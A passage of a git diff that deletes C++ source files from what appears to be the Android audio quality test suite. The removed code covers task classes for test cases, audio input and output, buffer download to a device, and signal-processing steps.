-        LOGW("TaskBatch::run no name or version information");
-    }
-    MSG("= Test batch %s version %s started. =", name.string(),
-            version.string());
-    bool result = TaskGeneric::forEachChild(runAlways, NULL);
-    MSG("= Finished Test batch =");
-    return TaskGeneric::EResultOK;
-}
-
-
diff --git a/suite/audio_quality/lib/src/task/TaskCase.cpp b/suite/audio_quality/lib/src/task/TaskCase.cpp
deleted file mode 100644
index 861802d..0000000
--- a/suite/audio_quality/lib/src/task/TaskCase.cpp
+++ /dev/null
@@ -1,361 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#include <sys/types.h>
-#include <regex.h>
-#include <stdlib.h>
-#include <stdio.h>
-
-#include "Log.h"
-#include "audio/RemoteAudio.h"
-#include "ClientImpl.h"
-#include "Report.h"
-#include "Settings.h"
-#include "StringUtil.h"
-#include "task/TaskCase.h"
-
-static const android::String8 STR_NAME("name");
-static const android::String8 STR_VERSION("version");
-static const android::String8 STR_DESCRIPTION("description");
-
-TaskCase::TaskCase()
-    : TaskGeneric(TaskGeneric::ETaskCase),
-      mClient(NULL)
-{
-    const android::String8* list[] = {&STR_NAME, &STR_VERSION, &STR_DESCRIPTION, NULL};
-    registerSupportedStringAttributes(list);
-}
-
-TaskCase::~TaskCase()
-{
-    delete mClient;
-}
-
-bool TaskCase::getCaseName(android::String8& name) const
-{
-    if (!findStringAttribute(STR_NAME, name)) {
-        LOGW("TaskCase no name");
-        return false;
-    }
-    return true;
-}
-
-bool TaskCase::addChild(TaskGeneric* child)
-{
-    if ((child->getType() != TaskGeneric::ETaskSetup)
-            &&  (child->getType() != TaskGeneric::ETaskAction)
-            &&  (child->getType() != TaskGeneric::ETaskSave)) {
-        LOGE("TestCase::addChild wrong child type %d", child->getType());
-        return false;
-    }
-    return TaskGeneric::addChild(child);
-}
-
-template <typename T> bool registerGeneric(
-        typename std::map<android::String8, T>& map,
-        const android::String8& name, T& data)
-{
-    typename std::map<android::String8, T>::iterator it;
-    it = map.find(name);
-    if (it != map.end()) {
-        LOGV("registerGeneric key %s already registered", name.string());
-        return false;
-    }
-    LOGD("registerGeneric registered key %s", name.string());
-    map[name] = data;
-    return true;
-}
-
-template <typename T> bool findGeneric(typename std::map<android::String8, T>& map,
-        const android::String8& name, T& data)
-{
-    LOGD("findGeneric key %s", name.string());
-    typename std::map<android::String8, T>::iterator it;
-    it = map.find(name);
-    if (it == map.end()) {
-        return false;
-    }
-    data = it->second;
-    return true;
-}
-
-template <typename T> bool updateGeneric(typename std::map<android::String8, T>& map,
-        const android::String8& name, T& data)
-{
-    LOGD("updateGeneric key %s", name.string());
-    typename std::map<android::String8, T>::iterator it;
-    it = map.find(name);
-    if (it == map.end()) {
-        return false;
-    }
-    it->second = data;
-    return true;
-}
-
-// return all the matches for the given regular expression.
-// name string and the data itself is copied.
-template <typename T> typename std::list<std::pair<android::String8, T> >* findAllGeneric(
-        typename std::map<android::String8, T>& map, const char* re)
-{
-    regex_t regex;
-    if (regcomp(&regex, re, REG_EXTENDED | REG_NOSUB) != 0) {
-        LOGE("regcomp failed");
-        return NULL;
-    }
-    typename std::map<android::String8, T>::iterator it;
-    typename std::list<std::pair<android::String8, T> >* list = NULL;
-    for (it = map.begin(); it != map.end(); it++) {
-        if (regexec(&regex, it->first, 0, NULL, 0) == 0) {
-            if (list == NULL) { // create only when found
-                list = new std::list<std::pair<android::String8, T> >();
-                if (list == NULL) {
-                    regfree(&regex);
-                    return NULL;
-                }
-            }
-            typename std::pair<android::String8, T> match(it->first, it->second);
-            list->push_back(match);
-        }
-    }
-    regfree(&regex);
-    return list;
-}
-
-
-bool TaskCase::registerBuffer(const android::String8& orig, android::sp<Buffer>& buffer)
-{
-    android::String8 translated;
-    if (!translateVarName(orig, translated)) {
-        return false;
-    }
-    return registerGeneric<android::sp<Buffer> >(mBufferList, translated, buffer);
-}
-
-bool TaskCase::updateBuffer(const android::String8& orig, android::sp<Buffer>& buffer)
-{
-    android::String8 translated;
-    if (!translateVarName(orig, translated)) {
-        return false;
-    }
-    return updateGeneric<android::sp<Buffer> >(mBufferList, translated, buffer);
-}
-
-android::sp<Buffer> TaskCase::findBuffer(const android::String8& orig)
-{
-    android::String8 translated;
-    android::sp<Buffer> result;
-    if (!translateVarName(orig, translated)) {
-        return result;
-    }
-    findGeneric<android::sp<Buffer> >(mBufferList, translated, result);
-    return result;
-}
-
-std::list<TaskCase::BufferPair>* TaskCase::findAllBuffers(const android::String8& re)
-{
-    android::String8 translated;
-    if (!translateVarName(re, translated)) {
-        return NULL;
-    }
-    return findAllGeneric<android::sp<Buffer> >(mBufferList, translated.string());
-}
-
-
-bool TaskCase::registerValue(const android::String8& orig, Value& val)
-{
-    android::String8 translated;
-    if (!translateVarName(orig, translated)) {
-        return false;
-    }
-    LOGD("str %x", translated.string());
-    return registerGeneric<Value>(mValueList, translated, val);
-}
-
-bool TaskCase::updateValue(const android::String8& orig, Value& val)
-{
-    android::String8 translated;
-    if (!translateVarName(orig, translated)) {
-        return false;
-    }
-    return updateGeneric<Value>(mValueList, translated, val);
-}
-
-bool TaskCase::findValue(const android::String8& orig, Value& val)
-{
-    android::String8 translated;
-    if (!translateVarName(orig, translated)) {
-        return false;
-    }
-    return findGeneric<Value>(mValueList, translated, val);
-}
-
-std::list<TaskCase::ValuePair>* TaskCase::findAllValues(const android::String8& re)
-{
-    android::String8 translated;
-    if (!translateVarName(re, translated)) {
-        return NULL;
-    }
-    return findAllGeneric<Value>(mValueList, translated.string());
-}
-
-bool TaskCase::registerIndex(const android::String8& name, int value)
-{
-    return registerGeneric<int>(mIndexList, name, value);
-}
-
-bool TaskCase::updateIndex(const android::String8& name, int value)
-{
-    return updateGeneric<int>(mIndexList, name, value);
-}
-
-bool TaskCase::findIndex(const android::String8& name, int& val)
-{
-    return findGeneric<int>(mIndexList, name, val);
-}
-
-std::list<TaskCase::IndexPair>* TaskCase::findAllIndices(const android::String8& re)
-{
-    android::String8 translated;
-    if (!translateVarName(re, translated)) {
-        return NULL;
-    }
-    return findAllGeneric<int>(mIndexList, translated.string());
-}
-
-bool TaskCase::translateVarName(const android::String8& orig, android::String8& translated)
-{
-    const char* src = orig.string();
-    const int nmatch = 2;
-    regmatch_t pmatch[nmatch];
-    regex_t re;
-    size_t strStart = 0;
-
-    if (regcomp(&re, "[a-z0-9_]*[$]([a-z0-9]+)[_]*", REG_EXTENDED) != 0) {
-        LOGE("regcomp failed");
-        return false;
-    }
-    bool result = false;
-    size_t matchStart = 0;
-    size_t matchEnd = 0;
-    while (regexec(&re, src, nmatch, pmatch, 0) == 0) {
-        matchStart = strStart + pmatch[1].rm_so;
-        matchEnd = strStart + pmatch[1].rm_eo;
-        translated.append(StringUtil::substr(orig, strStart, pmatch[1].rm_so - 1)); //-1 for $
-        android::String8 indexName;
-        indexName.append(StringUtil::substr(orig, matchStart, matchEnd - matchStart));
-        int val;
-        if (!findIndex(indexName, val)) {
-            LOGE("TaskCase::translateVarName no index with name %s", indexName.string());
-            regfree(&re);
-            return false;
-        }
-        translated.appendFormat("%d", val);
-        LOGD("match found strStart %d, matchStart %d, matchEnd %d, converted str %s",
-                strStart, matchStart, matchEnd, translated.string());
-        src += pmatch[1].rm_eo;
-        strStart += pmatch[1].rm_eo;
-    }
-    if (matchEnd < orig.length()) {
-        //LOGD("%d %d", matchEnd, orig.length());
-        translated.append(StringUtil::substr(orig, matchEnd, orig.length() - matchEnd));
-    }
-    LOGD("translated str %s to %s", orig.string(), translated.string());
-    regfree(&re);
-    return true;
-}
-
-android::sp<RemoteAudio>& TaskCase::getRemoteAudio()
-{
-    if (mClient == NULL) {
-        mClient = new ClientImpl();
-        ASSERT(mClient->init(Settings::Instance()->getSetting(Settings::EADB)));
-    }
-    return mClient->getAudio();
-}
-
-void TaskCase::releaseRemoteAudio()
-{
-    delete mClient;
-    mClient = NULL;
-}
-
-void TaskCase::setDetails(const android::String8& details)
-{
-    mDetails = details;
-}
-
-const android::String8& TaskCase::getDetails() const
-{
-    return mDetails;
-}
-
-
-TaskGeneric::ExecutionResult TaskCase::run()
-{
-    android::String8 name;
-    android::String8 version;
-    //LOGI("str %d, %d", strlen(STR_NAME), strlen(STR_VERSION));
-    if (!findStringAttribute(STR_NAME, name) || !findStringAttribute(STR_VERSION, version)) {
-        LOGW("TaskCase::run no name or version information");
-    }
-    MSG("== Test case %s version %s started ==", name.string(), version.string());
-    std::list<TaskGeneric*>::iterator i = getChildren().begin();
-    std::list<TaskGeneric*>::iterator end = getChildren().end();
-    TaskGeneric* setup = *i;
-    i++;
-    TaskGeneric* action = *i;
-    i++;
-    TaskGeneric* save = (i == end)? NULL : *i;
-    if (save == NULL) {
-        LOGW("No save stage in test case");
-    }
-    bool testPassed = true;
-    TaskGeneric::ExecutionResult result = setup->run();
-    TaskGeneric::ExecutionResult resultAction(TaskGeneric::EResultOK);
-    if (result != TaskGeneric::EResultOK) {
-        MSG("== setup stage failed %d ==", result);
-        testPassed = false;
-    } else {
-        resultAction = action->run();
-        if (resultAction != TaskGeneric::EResultPass) {
-            MSG("== action stage failed %d ==", resultAction);
-            testPassed = false;
-        }
-        // save done even for failure if possible
-        if (save != NULL) {
-            result = save->run();
-        }
-        if (result != TaskGeneric::EResultOK) {
-            MSG("== save stage failed %d ==", result);
-            testPassed = false;
-        }
-    }
-    if (testPassed) {
-        result = TaskGeneric::EResultPass;
-        MSG("== Case %s Passed ==", name.string());
-        Report::Instance()->addCasePassed(this);
-    } else {
-        if (resultAction != TaskGeneric::EResultOK) {
-            result = resultAction;
-        }
-        MSG("== Case %s Failed ==", name.string());
-        Report::Instance()->addCaseFailed(this);
-    }
-    // release remote audio for other cases to use
-    releaseRemoteAudio();
-    return result;
-}
-
diff --git a/suite/audio_quality/lib/src/task/TaskDownload.cpp b/suite/audio_quality/lib/src/task/TaskDownload.cpp
deleted file mode 100644
index 2973f17..0000000
--- a/suite/audio_quality/lib/src/task/TaskDownload.cpp
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#include "Log.h"
-#include "audio/AudioSignalFactory.h"
-#include "audio/RemoteAudio.h"
-#include "StringUtil.h"
-#include "task/TaskCase.h"
-#include "task/TaskDownload.h"
-
-static const android::String8 STR_ID("id");
-
-TaskDownload::TaskDownload()
-    : TaskGeneric(TaskGeneric::ETaskDownload)
-{
-    const android::String8* list[] = {&STR_ID, NULL};
-    registerSupportedStringAttributes(list);
-}
-
-TaskDownload::~TaskDownload()
-{
-
-}
-
-TaskGeneric::ExecutionResult TaskDownload::run()
-{
-    android::String8 id;
-    if (!findStringAttribute(STR_ID, id)) {
-        LOGE("TaskDownload::run %s string not found", STR_ID.string());
-        return TaskGeneric::EResultError;
-    }
-
-    android::sp<Buffer> buffer = getTestCase()->findBuffer(id);
-    if (buffer.get() == NULL) {
-        LOGE("TaskDownload::run cannot find buffer %s", id.string());
-        return TaskGeneric::EResultError;
-    }
-    int downloadId;
-    if (!getTestCase()->getRemoteAudio()->downloadData(id, buffer, downloadId)) {
-        return TaskGeneric::EResultError;
-    }
-    LOGI("Downloaded buffer %s to DUT with id %d", id.string(), downloadId);
-    return TaskGeneric::EResultOK;
-}
-
-
-
diff --git a/suite/audio_quality/lib/src/task/TaskGeneric.cpp b/suite/audio_quality/lib/src/task/TaskGeneric.cpp
deleted file mode 100644
index 4a394e2..0000000
--- a/suite/audio_quality/lib/src/task/TaskGeneric.cpp
+++ /dev/null
@@ -1,144 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#include "Log.h"
-
-#include "task/TaskAll.h"
-
-
-TaskGeneric::TaskGeneric(TaskType type):
-    mType(type),
-    mParent(NULL)
-{
-
-}
-
-bool deleteChildInstance(TaskGeneric* child, void* /*data*/)
-{
-    delete child;
-    return true;
-}
-
-TaskGeneric::~TaskGeneric()
-{
-    forEachChild(deleteChildInstance, NULL);
-    //mChildren.clear();
-}
-
-bool TaskGeneric::addChild(TaskGeneric* child)
-{
-    mChildren.push_back(child);
-    child->setParent(this);
-    return true;
-}
-
-bool TaskGeneric::forEachChild(bool (*runForEachChild)(TaskGeneric* child, void* data), void* data)
-{
-    std::list<TaskGeneric*>::iterator i = mChildren.begin();
-    std::list<TaskGeneric*>::iterator end = mChildren.end();
-    for (; i != end; i++) {
-        if (!(*runForEachChild)(*i, data)) {
-            return false;
-        }
-    }
-    return true;
-}
-
-TaskGeneric* TaskGeneric::getParent()
-{
-    return mParent;
-}
-
-TaskCase* TaskGeneric::getTestCase()
-{
-    TaskGeneric* task = this;
-
-    while (task != NULL) {
-        if (task->getType() == ETaskCase) {
-            // do not use dynamic_cast intentionally
-            return reinterpret_cast<TaskCase*>(task);
-        }
-        task = task->getParent();
-    }
-    LOGE("TaskGeneric::getTestCase no TaskCase found!");
-    return NULL;
-}
-
-void TaskGeneric::setParent(TaskGeneric* parent)
-{
-    LOGD("TaskGeneric::setParent self %x, parent %x", this, parent);
-    mParent = parent;
-}
-
-bool runChild(TaskGeneric* child, void* data)
-{
-    TaskGeneric::ExecutionResult* result = reinterpret_cast<TaskGeneric::ExecutionResult*>(data);
-    *result = child->run();
-    if (*result != TaskGeneric::EResultOK) {
-        LOGE("child type %d returned %d", child->getType(), *result);
-        return false;
-    }
-    return true;
-}
-
-TaskGeneric::ExecutionResult TaskGeneric::run()
-{
-    ExecutionResult result = EResultOK;
-    forEachChild(runChild, &result);
-    return result;
-}
-
-bool TaskGeneric::parseAttribute(const android::String8& name, const android::String8& value)
-{
-    // default implementation only handles registered string attributes
-    if (!addStringAttribute(name, value)) {
-        LOGE("parseAttribute unknown attribute %s %s for type %d",
-                name.string(), value.string(), getType());
-        return false;
-    }
-    return true;
-}
-
-
-void TaskGeneric::registerSupportedStringAttributes(const android::String8* keys[])
-{
-    int i = 0;
-    while (keys[i] != NULL) {
-        mAllowedStringAttributes.insert(*keys[i]);
-        i++;
-    }
-}
-
-bool TaskGeneric::addStringAttribute(const android::String8& key, const android::String8& value)
-{
-    auto it = mAllowedStringAttributes.find(key);
-    if (it == mAllowedStringAttributes.end()) {
-        return false; // not allowed
-    }
-    mStringAttributes[key] = value;
-    return true;
-}
-
-bool TaskGeneric::findStringAttribute(const android::String8& key, android::String8& value) const
-{
-    auto it = mStringAttributes.find(key);
-    if (it == mStringAttributes.end()) {
-        return false; // not found
-    }
-    value = it->second;
-    return true;
-}
-
diff --git a/suite/audio_quality/lib/src/task/TaskInput.cpp b/suite/audio_quality/lib/src/task/TaskInput.cpp
deleted file mode 100644
index e5b4b06..0000000
--- a/suite/audio_quality/lib/src/task/TaskInput.cpp
+++ /dev/null
@@ -1,106 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#include <stdlib.h>
-
-#include "Log.h"
-#include "audio/AudioHardware.h"
-#include "task/TaskCase.h"
-#include "task/TaskInput.h"
-
-TaskInput::TaskInput()
-    : TaskAsync(TaskGeneric::ETaskInput),
-      mRecordingTimeInMs(0)
-{
-
-}
-
-TaskInput::~TaskInput()
-{
-
-}
-
-bool TaskInput::parseAttribute(const android::String8& name, const android::String8& value)
-{
-    if (strcmp(name, "time") == 0) {
-        mRecordingTimeInMs = atoi(value);
-        if (mRecordingTimeInMs < 0) {
-            LOGE("TaskInput::parseAttribute invalid recording time %d", mRecordingTimeInMs);
-            return false;
-        }
-        return true;
-    }
-    return TaskAsync::parseAttribute(name, value);
-}
-
-TaskGeneric::ExecutionResult TaskInput::start()
-{
-    bool localDevice = (mDeviceType == TaskAsync::EDeviceHost);
-    android::sp<AudioHardware> hw = AudioHardware::createAudioHw(localDevice, false,
-            getTestCase());
-    if (hw.get() == NULL) {
-        LOGE("createAudioHw failed");
-        return TaskGeneric::EResultError;
-    }
-    // TODO support stereo mode in local later
-    //     for now, local is captured in stereo, and it is stored to mono
-    //     by keeping only channel 1.
-    // local : stereo only, remote : mono only
-    size_t bufferSize = mRecordingTimeInMs * AudioHardware::ESampleRate_44100 / 1000 *
-            (localDevice ? 4 : 2);
-    android::sp<Buffer> buffer(new Buffer(bufferSize, bufferSize, localDevice));
-    if (buffer.get() == NULL) {
-        LOGE("buffer alloc failed");
-        return TaskGeneric::EResultError;
-    }
-    if (!hw->prepare(AudioHardware::ESampleRate_44100, mVolume, mMode)) {
-        LOGE("prepare failed");
-        return TaskGeneric::EResultError;
-    }
-    if (!hw->startPlaybackOrRecord(buffer)) {
-        LOGE("record failed");
-        return TaskGeneric::EResultError;
-    }
-    // now store sp
-    mHw = hw;
-    mBuffer = buffer;
-    return TaskGeneric::EResultOK;
-}
-
-TaskGeneric::ExecutionResult TaskInput::complete()
-{
-    bool result = mHw->waitForCompletion();
-    mHw->stopPlaybackOrRecord();
-    mHw.clear();
-    if (!result) {
-        LOGE("waitForComletion failed");
-        return TaskGeneric::EResultError;
-    }
-    // TODO: need to keep stereo for local if in stereo mode
-    // For now, convert to mono if it is stereo
-    if (mBuffer->isStereo()) {
-        mBuffer->changeToMono(Buffer::EKeepCh0);
-    }
-    if (!getTestCase()->registerBuffer(mId, mBuffer)) {
-        if (!getTestCase()->updateBuffer(mId, mBuffer)) {
-            LOGE("cannot register/update buffer %s", mId.string());
-            return TaskGeneric::EResultError;
-        }
-    }
-    return TaskGeneric::EResultOK;
-}
-
-
diff --git a/suite/audio_quality/lib/src/task/TaskMessage.cpp b/suite/audio_quality/lib/src/task/TaskMessage.cpp
deleted file mode 100644
index 4241d2e..0000000
--- a/suite/audio_quality/lib/src/task/TaskMessage.cpp
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#include "task/TaskMessage.h"
-
-
-TaskMessage::TaskMessage()
-    : TaskGeneric(TaskGeneric::ETaskMessage)
-{}
-TaskMessage::~TaskMessage()
-{
-
-}
-TaskGeneric::ExecutionResult TaskMessage::run()
-{
-    //TODO
-    return TaskGeneric::EResultError;
-}
-bool TaskMessage::parseAttribute(const android::String8& name, const android::String8& value)
-{
-    //TODO
-    return false;
-}
diff --git a/suite/audio_quality/lib/src/task/TaskOutput.cpp b/suite/audio_quality/lib/src/task/TaskOutput.cpp
deleted file mode 100644
index be6f4fd..0000000
--- a/suite/audio_quality/lib/src/task/TaskOutput.cpp
+++ /dev/null
@@ -1,99 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#include "task/TaskCase.h"
-#include "StringUtil.h"
-#include "task/TaskOutput.h"
-#include "audio/AudioRemote.h"
-#include "audio/RemoteAudio.h"
-
-
-TaskOutput::TaskOutput()
-    : TaskAsync(TaskGeneric::ETaskOutput),
-      mWaitForCompletion(false)
-{
-
-}
-
-TaskOutput::~TaskOutput()
-{
-
-}
-bool TaskOutput::parseAttribute(const android::String8& name, const android::String8& value)
-{
-    if (StringUtil::compare(name, "waitforcompletion") == 0) {
-        if (StringUtil::compare(value, "1") == 0) {
-            mWaitForCompletion = true;
-        }
-        return true;
-    }
-    return TaskAsync::parseAttribute(name, value);
-}
-TaskGeneric::ExecutionResult TaskOutput::start()
-{
-    bool localDevice = (mDeviceType == TaskAsync::EDeviceHost);
-    android::sp<AudioHardware> hw = AudioHardware::createAudioHw(localDevice, true, getTestCase());
-    if (hw.get() == NULL) {
-        LOGE("cannot create Audio HW");
-        return TaskGeneric::EResultError;
-    }
-    if (!hw->prepare(AudioHardware::ESampleRate_44100, mVolume, mMode)) {
-        LOGE("prepare failed");
-        return TaskGeneric::EResultError;
-    }
-    android::sp<Buffer> buffer = getTestCase()->findBuffer(mId);
-    if (buffer.get() == NULL) {
-        LOGE("cannot find buffer %s", mId.string());
-        return TaskGeneric::EResultError;
-    }
-    buffer->restart(); // reset to play from beginning
-    if (localDevice) {
-        if (!hw->startPlaybackOrRecord(buffer)) {
-            LOGE("play failed");
-            return TaskGeneric::EResultError;
-        }
-    } else {
-        int id = getTestCase()->getRemoteAudio()->getDataId(mId);
-        if (id < 0) {
-            return TaskGeneric::EResultError;
-        }
-        AudioRemotePlayback* remote = reinterpret_cast<AudioRemotePlayback*>(hw.get());
-        if (!remote->startPlaybackForRemoteData(id, buffer->isStereo())) {
-            return TaskGeneric::EResultError;
-        }
-    }
-    // now store sp
-    mHw = hw;
-
-    return TaskGeneric::EResultOK;
-}
-
-TaskGeneric::ExecutionResult TaskOutput::complete()
-{
-    bool result = true;
-    if (mWaitForCompletion) {
-        result = mHw->waitForCompletion();
-    }
-    mHw->stopPlaybackOrRecord();
-    mHw.clear();
-    if (!result) {
-        LOGE("waitForCompletion failed");
-        return TaskGeneric::EResultError;
-    }
-    return TaskGeneric::EResultOK;
-}
-
-
diff --git a/suite/audio_quality/lib/src/task/TaskProcess.cpp b/suite/audio_quality/lib/src/task/TaskProcess.cpp
deleted file mode 100644
index 816e920..0000000
--- a/suite/audio_quality/lib/src/task/TaskProcess.cpp
+++ /dev/null
@@ -1,365 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-#include <stdlib.h>
-#include <string.h>
-
-#include <memory>
-#include <vector>
-
-#include "Log.h"
-#include "StringUtil.h"
-#include "task/TaskProcess.h"
-#include "SignalProcessingImpl.h"
-
-TaskProcess::TaskProcess()
-    : TaskGeneric(TaskGeneric::ETaskProcess)
-{
-
-}
-
-TaskProcess::~TaskProcess()
-{
-}
-
-TaskGeneric::ExecutionResult TaskProcess::run()
-{
-    if (mType == EBuiltin) {
-        return doRun(true);
-    } else {
-        if (mSp.get() == NULL) {
-            mSp.reset(new SignalProcessingImpl());
-            if (!mSp->init(SignalProcessingImpl::MAIN_PROCESSING_SCRIPT)) {
-                mSp.reset(NULL);
-                return TaskGeneric::EResultError;
-            }
-        }
-        return doRun(false);
-    }
-}
-
-// Allocate Buffers and Values to pass to builtin functions
-bool TaskProcess::prepareParams(std::vector<TaskProcess::Param>& list,
-        const bool* paramTypes,
-        std::unique_ptr<void_ptr[]>& ptrs,
-        std::unique_ptr<UniqueValue[]>& values,
-        std::unique_ptr<UniqueBuffer[]>& buffers,
-        bool isInput)
-{
-    size_t N = list.size();
-
-    LOGD("TaskProcess::prepareParams N = %d", N);
-    ptrs.reset(new void_ptr[N]);
-    if (ptrs.get() == NULL) {
-        LOGE("alloc failed");
-        return false;
-    }
-    // set to NULL to detect illegal access
-    bzero(ptrs.get(), N * sizeof(void_ptr));
-    values.reset(new UniqueValue[N]);
-    if (values.get() == NULL) {
-        LOGE("alloc failed");
-        return false;
-    }
-    buffers.reset(new UniqueBuffer[N]);
-    if (buffers.get() == NULL) {
-        LOGE("alloc failed");
-        return false;
-    }
-
-    void_ptr* voidPtrs = ptrs.get();
-    UniqueValue* valuesPtr = values.get();
-    UniqueBuffer* buffersPtr = buffers.get();
-    for (size_t i = 0; i < N; i++) {
-        if ((paramTypes != NULL) && paramTypes[i] && (list[i].getType() != EId)) {
-            LOGE("mismatching types %d %d", paramTypes[i], list[i].getType());
-            return false;
-        }
-        if ((paramTypes != NULL) && !paramTypes[i] && (list[i].getType() == EId)) {
-            LOGE("mismatching types %d %d", paramTypes[i], list[i].getType());
-            return false;
-        }
-        switch(list[i].getType()) {
-        case EId: {
-            std::unique_ptr<android::sp<Buffer> > buffer(new android::sp<Buffer>());
-            if (buffer.get() == NULL) {
-                LOGE("alloc failed");
-                return false;
-            }
-            if (isInput) {
-                *(buffer.get()) = getTestCase()->findBuffer(list[i].getParamString());
-                if (buffer.get()->get() == NULL) {
-                    LOGE("find failed");
-                    return false;
-                }
-                LOGD("input buffer len %d stereo %d", (*buffer.get())->getSize(),
-                        (*buffer.get())->isStereo());
-            }
-            buffersPtr[i].reset(buffer.release());
-            voidPtrs[i] = buffersPtr[i].get();
-        }
-        break;
-        case EVal: {
-            valuesPtr[i].reset(new TaskCase::Value());
-            if (isInput) {
-                if (!getTestCase()->findValue(list[i].getParamString(), *(valuesPtr[i].get()))) {
-                    LOGE("find %s failed", list[i].getParamString().string());
-                    return false;
-                }
-            }
-            voidPtrs[i] = valuesPtr[i].get();
-        }
-        break;
-        case EConst: {
-            if (!isInput) {
-                LOGE("const for output");
-                return false;
-            }
-            voidPtrs[i] = list[i].getValuePtr();
-
-            if (list[i].getValue().getType() == TaskCase::Value::ETypeDouble) {
-                LOGD(" %f", list[i].getValue().getDouble());
-            } else {
-                LOGD(" %lld", list[i].getValue().getInt64());
-            }
-        }
-        break;
-        }
-        LOGD("TaskProcess::prepareParams %d-th, const 0x%x", i, voidPtrs[i]);
-    }
-    return true;
-}
-
-// run builtin function by searching BuiltinProcessing::BUINTIN_FN_TABLE
-TaskGeneric::ExecutionResult TaskProcess::doRun(bool builtIn)
-{
-    BuiltinProcessing::BuiltinInfo* info = NULL;
-    if (builtIn) {
-        for (int i = 0; i < BuiltinProcessing::N_BUILTIN_FNS; i++) {
-            if (StringUtil::compare(mName, BuiltinProcessing::BUINTIN_FN_TABLE[i].mName) == 0) {
-                info = &BuiltinProcessing::BUINTIN_FN_TABLE[i];
-                break;
-            }
-        }
-        if (info == NULL) {
-            LOGE("TaskProcess::runBuiltin no match for %s", mName.string());
-            return TaskGeneric::EResultError;
-        }
-        if (mInput.size() != info->mNInput) {
-            LOGE("TaskProcess::runBuiltin size mismatch %d vs %d", mInput.size(), info->mNInput);
-            return TaskGeneric::EResultError;
-        }
-        if (mOutput.size() != info->mNOutput) {
-            LOGE("TaskProcess::runBuiltin size mismatch %d vs %d", mOutput.size(), info->mNOutput);
-            return TaskGeneric::EResultError;
-        }
-    }
-    // This is for passing to builtin fns. Just void pts will be cleared in exit
-    std::unique_ptr<void_ptr[]> inputs;
-    // This is for holding Value instances. Will be destroyed in exit
-    std::unique_ptr<UniqueValue[]> inputValues;
-    // This is for holding android::sp<Buffer>. Buffer itself is from the global map.
-    std::unique_ptr<UniqueBuffer[]> inputBuffers;
-
-    std::unique_ptr<void_ptr[]> outputs;
-    // Value is created here. Builtin function just need to set it.
-    std::unique_ptr<UniqueValue[]> outputValues;
-    // Buffer itself should be allocated by the builtin function itself.
-    std::unique_ptr<UniqueBuffer[]> outputBuffers;
-
-    if (!prepareParams(mInput, builtIn ? info->mInputTypes : NULL, inputs, inputValues,
-            inputBuffers, true)) {
-        return TaskGeneric::EResultError;
-    }
-
-    if (!prepareParams(mOutput, builtIn ? info->mOutputTypes : NULL, outputs, outputValues,
-            outputBuffers, false)) {
-        return TaskGeneric::EResultError;
-    }
-
-    TaskGeneric::ExecutionResult result;
-    if (builtIn) {
-        result = (mBuiltin.*(info->mFunction))(inputs.get(), outputs.get());
-    } else {
-        std::unique_ptr<bool[]> inputTypes(new bool[mInput.size()]);
-        for (size_t i = 0; i < mInput.size(); i++) {
-            (inputTypes.get())[i] = mInput[i].isIdType();
-        }
-        std::unique_ptr<bool[]> outputTypes(new bool[mOutput.size()]);
